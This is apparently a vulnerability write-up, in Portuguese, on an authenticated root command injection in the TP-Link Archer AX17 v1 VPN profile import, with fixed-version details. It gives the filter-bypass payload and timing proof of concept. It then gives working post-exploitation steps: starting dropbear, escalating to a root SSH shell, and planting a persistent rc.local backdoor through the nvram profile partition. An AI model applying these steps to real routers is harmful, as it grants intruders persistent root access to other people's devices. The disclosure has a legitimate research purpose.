
Injeção de comando de SO autenticada na importação do cliente VPN do TP-Link Archer AX17 v1.
Injeção autenticada de comandos do sistema operacional na importação do cliente VPN do Archer AX17 v1.
Um administrador na LAN importa um perfil de cliente OpenVPN. A descrição do perfil é armazenada como o nome de arquivo /etc/openvpn/<des>.ovpn. A leitura desse perfil grava o caminho em /tmp/ovpn_curr_edit. A próxima gravação de VPN, sem nenhum upload preparado, passa esse caminho sem aspas para grep e sed, que o servidor web executa como root.
O filtro de descrição rejeita /, ;, | e espaços, e limita a string a 64 caracteres. As crases passam, então o payload é S`sleep${IFS}1`. ${IFS} é como o comando obtém seu espaço.
| Afetado | Archer AX17 v1, firmware 1.1.28 P1 [20250523-rel65103], e builds anteriores à correção |
| Corrigido | 1.5.0 Build 20260605 |
| Acesso | Sessão de administrador na LAN. Não acessível antes do login. |
| Impacto | Execução de comandos como root |
poc.js.await poc(0), depois await poc(1).poc(0) retorna em algumas centenas de milissegundos. poc(1) leva cerca de um segundo a mais. Essa diferença é o sleep 1 sendo executado como root. O script exclui o perfil que criou.
Testado na 1.1.28. poc(1) levou 1238 ms, poc(3) 3504 ms, poc(7) 7204 ms, contra um controle de 324 ms.
A injeção é executada como root, então pode iniciar o dropbear. Duas coisas sobre este build importam:
-L ("Enable SSH session login") é obrigatório. Sem ele, o dropbear autentica e depois responde a toda solicitação de shell com exec request failed./etc é um ramfs. rc.local, /etc/shadow e /etc/dropbear/authorized_keys são reconstruídos a partir do squashfs a cada boot. Apenas as partições nvram persistem.Isso divide o processo em um método temporário e um permanente.
ssh-temp.js tem duas chamadas:
await sshTemp(); // dropbear -C -L -p 2222
await runStaged('r'); // sh /tmp/r as root
sshTemp() inicia o dropbear no modo de conta web. Faça login com a senha de administrador do roteador:
ssh -p 2222 -o HostKeyAlgorithms=+ssh-rsa \
-o KexAlgorithms=+diffie-hellman-group14-sha1 admin@<router>
Esse shell é uid 1000 (admin), não root, e não pode gravar em /etc. Para escalar, prepare ssh-root.sh em /tmp/r por cima dele:
cat > /tmp/r <<'EOF'
... ssh-root.sh with your public key ...
EOF
Depois chame runStaged('r') a partir do console. A injeção executa o script como uid 0, grava /etc/dropbear/authorized_keys e inicia dropbear -L -p 2227. (runStaged monta /tmp/<name> a partir de ${PWD%www} porque o diretório de trabalho do backend web é /www.) Conecte-se:
ssh -i <key> -p 2227 -o HostKeyAlgorithms=+ssh-rsa \
-o PubkeyAcceptedAlgorithms=+ssh-rsa \
-o KexAlgorithms=+diffie-hellman-group14-sha1 root@<router>
Isso sobrevive até o próximo reboot.
Execute ssh-persist.sh como root (por exemplo, pelo shell root temporário). Ele acrescenta um rc.local à partição nvram profile. O S10boot restaura essa partição em /etc antes de o S95done executar /etc/rc.local, então os comandos são executados a cada boot.
A partição é um XML uci criptografado e orientado a linhas. <dir> cria /etc/<dir>, <file> cria /etc/<dir>/<file>, e um nome de tag é gravado literalmente após option . Uma tag que começa com ; portanto cai em rc.local como
option ;<command> # 'x'
o que executa <command> como root. O script preserva o bloco profile.d do fornecedor e grava:
option ;echo <pubkey>|tee /etc/dropbear/authorized_keys # 'x'
option ;/usr/sbin/dropbear -L -p 22 # 'x'
Após um reboot, o SSH root está na porta 22 com a mesma chave. Faça backup da partição primeiro; o script imprime o caminho do backup e o comando de restauração.
Nota: chpasswd não existe neste firmware. Não tente definir uma senha de root com ele; use authorized_keys (como acima) ou passwd.